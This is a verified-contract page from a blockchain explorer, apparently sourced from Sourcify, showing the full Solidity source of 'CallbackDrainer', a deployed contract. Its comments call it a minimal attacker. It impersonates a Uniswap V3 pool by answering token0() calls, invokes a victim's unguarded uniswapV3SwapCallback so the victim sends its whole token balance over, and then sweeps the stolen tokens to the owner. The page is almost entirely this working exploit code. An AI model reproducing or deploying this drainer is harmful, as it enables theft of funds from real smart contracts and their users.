Verified contractExactMIT
CallbackDrainer
Address0xd0c1ee6097c45fbe746ecfe291acaf60f51f0b8a
- Balance
0 ETH
- Transactions
3
- Compiler
solc 0.8.20
- Same code
Only this contract
Details
- Compiler
- solc 0.8.20+commit.a1b79de6
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,432,611
- Creation transaction
- 0xf307e5ab66…e207a1cf46
contracts/helper.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
/// @title CallbackDrainer — minimal attacker for the ungated uniswapV3SwapCallback pattern
/// The victim's callback reads token0() on msg.sender, then transfers its
/// FULL token balance to msg.sender — with NO pool/registry/caller verification.
/// This contract: answers the token0() probe, triggers the callback, sweeps.
contract CallbackDrainer {
address public owner;
address public drainToken;
constructor() { owner = msg.sender; }
modifier onlyOwner() { require(msg.sender == owner, "!owner"); _; }
/// @dev set which token the victim should drain
function setDrainToken(address t) external onlyOwner { drainToken = t; }
/// @dev the victim's callback calls this on msg.sender — answer with the target token
function token0() external view returns (address) { return drainToken; }
function token1() external view returns (address) { return drainToken; }
/// @dev trigger the victim's uniswapV3SwapCallback
function drain(address victim, uint256 amount) external onlyOwner returns (bool) {
(bool ok,) = victim.call(
abi.encodeWithSelector(0xfa461e33, int256(amount), int256(0), abi.encode(drainToken, address(this)))
);
return ok;
}
/// @dev sweep drained tokens to owner
function sweep(address token) external onlyOwner {
(bool ok1, bytes memory b) = token.call(abi.encodeWithSignature("balanceOf(address)", address(this)));
require(ok1 && b.length >= 32, "!bal");
uint256 bal = abi.decode(b, (uint256));
if (bal > 0) {
(bool ok2,) = token.call(abi.encodeWithSignature("transfer(address,uint256)", owner, bal));
require(ok2, "!xfer");
}
}
receive() external payable {}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.